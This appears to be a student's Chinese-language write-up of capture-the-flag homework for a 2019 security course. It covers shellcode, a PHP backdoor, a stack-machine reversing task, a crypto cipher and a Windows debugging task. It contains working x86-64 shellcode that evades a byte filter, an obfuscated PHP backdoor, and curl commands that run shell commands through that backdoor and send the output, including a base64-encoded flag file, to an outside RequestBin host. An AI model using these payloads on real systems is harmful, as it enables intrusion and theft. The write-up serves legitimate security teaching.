###### tags: `程安`
# CS 2019 Fall - Homework 0x00
### [0x00] shellc0de
```python=
from pwn import *
context.arch = 'amd64'
host, port = "edu-ctf.csie.org", 10150
p = remote(host, port)
# shellcode for linux x86_64
# source - http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = """
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
/* rewrite syscall (\x0f\x05) */
mov bx, 0x040e
add bx, 0x0101
push bx
jmp rsp
"""
payload = asm(shellcode)
print(payload)
p.send(payload)
p.sendline("cat /home/shellc0de/flag")
p.interactive()
```
普通的shellcode題,只多了會篩掉`\x00 \x0f \x05`的過程。
但很不幸的`\x0f \x05`正好是`syscall`的opcode。
所以這邊使用加法在`bx`上來湊出`\x050f`之後,push到stack上並jump到stack,觸發`syscall`
(使用`rbx`的話會出現`\x00`,因此這邊使用`bx`)
---
### [0x00] open my backdoor
```php=
<?php
set_time_limit(3);
ini_set('max_execution_time', 3);
highlight_file(__FILE__);$f=file(__FILE__);
$c=chr(substr_count($f[1],chr(32)));
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_\x50\x4f\x53\x54"}{$c});
```
先對原本的code進行小修改
```php=6
$c=chr(substr_count($f[1],' '));
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_POST"}{$c});
```
然後我們會發現,它好像在算這個php code file的第2行(`$f[1]`)的空格數量,但空格在哪?

結果那一行真的有空格,一共35個
所以我們再改寫
```php=6
$c=chr(35);
```
然後因為chr(35) = '#',所以
```php=6
$c='#';
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_POST"}{$c});
```
也就是說,我們可以藉由POST `#`來塞東西進去`$x(${"_POST"}{$c})`
而`$x`的部份,可以藉由GET `87`這個參數來塞給它,然後取其前4個字元與"d00r"做XOR來作為`$x`
不如我們就來試著叫叫看shell吧。
google一下發現php有一個叫`exec()`的function可以使用,而且剛好是4個字元。
我們先將"exec"與"d00r"做XOR,GET傳給php的時候就會還原回"exec"
```sh=
curl -d '#=ls' 'http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
以上是組合出來的基本樣子
然而我們curl下來的內容裡面,並不會顯示`ls`的結果
既然如此,只好讓它再curl別人然後利用GET Method把結果丟出來了
(這邊使用RequestBin來接收他的curl)
```sh=
curl -d '#=curl http://requestbin.net/r/1ja8rf11?f=$(ls /)'
'http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
於是我們收到`ls`的結果了! 
然而只有一行,這邊我們借助`base64`來解決只有一行的問題 
最後
```sh=
curl -d '#=curl http://requestbin.net/r/1ja8rf11?f=$(cat ~/flag_is_here
| base64)''http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
就拿到flag了 
---
### [0x00] m4chine
先使用`uncompyle6`將pyc file反編回py file
```python=
# uncompyle6 version 3.4.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15+ (default, Jul 9 2019, 16:51:35)
# [GCC 7.4.0]
# Embedded file name: m4chine.py
# Size of source mod 2**32: 4498 bytes
from ctypes import *
from binascii import *
class Machine:
def __init__(self, init):
...
def empty(self, _):
...
def e_start(self, code):
...
def push(self, num):
...
def pop(self, _):
...
def terminal(self, _):
...
def add(self, _):
...
def sub(self, _):
...
def cmp(self, num):
...
print('\n \n888b 88 88 888b 88 88 d8\' ad88888ba 88b d88 db ,ad8888ba, 88 88 88 888b 88 88888888888 \n8888b 88 88 8888b 88 88 d8\' d8" "8b 888b d888 d88b d8"\' `"8b 88 88 88 8888b 88 88 \n88 `8b 88 88 88 `8b 88 88 "" Y8, 88`8b d8\'88 d8\'`8b d8\' 88 88 88 88 `8b 88 88 \n88 `8b 88 88 88 `8b 88 88 `Y8aaaaa, 88 `8b d8\' 88 d8\' `8b 88 88aaaaaaaa88 88 88 `8b 88 88aaaaa \n88 `8b 88 88 88 `8b 88 88 `"""""8b, 88 `8b d8\' 88 d8YaaaaY8b 88 88""""""""88 88 88 `8b 88 88""""" \n88 `8b 88 88 88 `8b 88 88 `8b 88 `8b d8\' 88 d8""""""""8b Y8, 88 88 88 88 `8b 88 88 \n88 `8888 88 88 `8888 88 Y8a a8P 88 `888\' 88 d8\' `8b Y8a. .a8P 88 88 88 88 `8888 88 \n88 `888 88 88 `888 88 "Y88888P" 88 `8\' 88 d8\' `8b `"Y8888Y"\' 88 88 88 88 `888 88888888888 \n \nThis is nini\'s machine to test if you are qualified to join this class\n \n\n')
s = input('So, what is the flag ? >> ')
emu = Machine(s)
emu.e_start('\x08\x00\x07\x08\x00\x00\x01d\t\x00\x00\x00\x014\t\x00\x073\x07\x01\x073\x08\x00\x00\x00\x01e\t\x00\x00\x00\x08\x00\x07c\x00\x00\x01\x00\t\x00\x00\x00\x074\x08\x00\x01\x00\t\x00\x06\x00\x01e\t\x00\x06\x00\x07Z\x08\x00\x01\x00\t\x00\x07h\x00\x00\x08\x00\x01\x00\t\x00\x06\x00\x07S\x08\x00\x01\x00\t\x00\x06\x00\x07_\x08\x00\x01\x00\t\x00\x06\x00\x07G\x08\x00\x01\x00\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01C\t\x00\x06\x00\x07\x00\x07\x01\x00\x00\x07\x02\x00\x00\x07\x03\x00\x00\x07\x04\x00\x00\x07\x05\x00\x00\x07\x06\x00\x00\x07\x07\x00\x00\x07\x08\x00\x00\x07\t\x00\x00\x07\n\x00\x00\x07\x0b\x00\x00\x07\x0c\x00\x00\x07\r\x00\x00\x07\x04\x00\x00\x08\x00\x01\x00\t\x00\x06\x00\x01w\t\x00\x06\x00\x010\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x13\x00\x00\x01\x00\t\x00')
print('Yeah, you got the flag')
# okay decompiling m4chine.pyc
```
我們仔細觀察可以發現,其實是一個模擬stack的程式,並藉由`e_start([command])`來對其下指令。而我們輸入的東西,則作為stack的初始狀態。
既然如此,不如我們寫個python code,將`e_start([command])`內的指令print出來之後直接暴力硬往回推,推出flag
```python=
sub
psh 8
add
cmp 100
tml
.
.
.
add
cmp 0
tml
```
因為tml的關係,我們可以藉由它來回推出stack要長怎麼樣才能通過所有的tml
```python=
stack = [-a -b -c -d -e -f 48 119 95 66 105 105 105 105 105 105 105 105
71 95 83 105 90 101 51 101 51 33 125]
# 其中的a,b,c,d,e,f為未知數
```
我們可以拿到`"??????0w_BiiiiiiiiG_SiZe3e3!}"`,其中`?`是未知字元
另外又因為flag一定長`FLAG{...}`或`flag{...}`,所以我們最後便可以推出flag為`FLAG{W0w_BiiiiiiiiG_SiZe3e3!}`
(過程中要注意overflow的問題,因為運算時使用的int type為`c_int8`)
---
### [0x00] encrypt
* Part 1 - Linear Feedback Shift Register
```python=
def stage0(m):
random.seed('oalieno')
p = [int(random.random() * 256) for i in range(16)]
s = [int(random.random() * 256) for i in range(16)]
c = b''
for x in m:
k = op1(p, s)
c += bytes([x ^ k])
s = s[1:] + [k]
return c
```
由於random seed固定值,所以每次進入`stage0(c)`時,for loop中k的迭代值是固定的
```python=
i in k = [142, 97, 45, 175, 112, 157, 238, 137, 114, 214, 34, 143,
72, 175, 56, 100]
```
所以`stage0(c)`的功能其實就只是將`c`與上面的list做xor。那只需將`c`與該list再做一次xor就可以還原回來。
```python=
def de_stage0(c):
t = [142, 97, 45, 175, 112, 157, 238, 137, 114, 214, 34, 143,
72, 175, 56, 100]
c = bytes([i ^ j for i, j in zip(list(c), t)])
return c
```
* Part 2 - Substitution Permutation Network
```python=
def stage1(m):
random.seed('oalieno')
k = [int(random.random() * 256) for i in range(16)]
p = [i for i in range(16)]
random.shuffle(p)
s = [i for i in range(256)]
random.shuffle(s)
c = m
for i in range(16):
c = op2(c, k) # bytes([i ^ j for i, j in zip(c, k)])
c = op3(c, p) # bytes([c[p[i]] for i in range(len(c))])
c = op4(c, s) # bytes([s[x] for x in c])
return c
```
相同道理,我們只需將加密過程`op2->op3->op4`逆向還原回來即可
```python=
def de_stage1(c):
random.seed('oalieno')
k = [int(random.random() * 256) for i in range(16)]
p = [i for i in range(16)]
random.shuffle(p)
s = [i for i in range(256)]
random.shuffle(s)
for i in range(16):
c = bytes([s.index(x) for x in c]) # de op4
c = bytes([c[p.index(i)] for i in range(len(c))]) # de op3
c = bytes([i ^ j for i, j in zip(c, k)]) # de op2
return c
```
* Part 3 - 猜key
```python=
for i in map(int, f'{key:08b}'):
m = stage[i](m)
...
assert(E ** ( I * pi ) + len(key) == 0)
```
因為這兩行,我們可以知道key其實只有1個字元,並將其寫成8-bit形式,依照8個bit分別為0還1,來對原訊息做`stage0(c)`或`stage1(c)`
既然只有8-bit,也就是只有256種可能,那就直接暴力猜出來吧
```python=
if __name__ == '__main__':
de_stage = [de_stage0, de_stage1]
for key in range(256):
cipher = open('cipher', 'rb').read()
for i in map(int, f'{key:08b}'):
cipher = de_stage[i](cipher)
if 'FLAG' in str(cipher):
print(cipher) # b'FLAG{q6B3KviyaM}'
```
---
### [0x00] Winmagic
這邊使用x64dbg
```cpp=20
password = rand();
```
我們在這行的後面下breakpoint

我們可以看出這次random出來的數字為`0x3a2b` = 14891
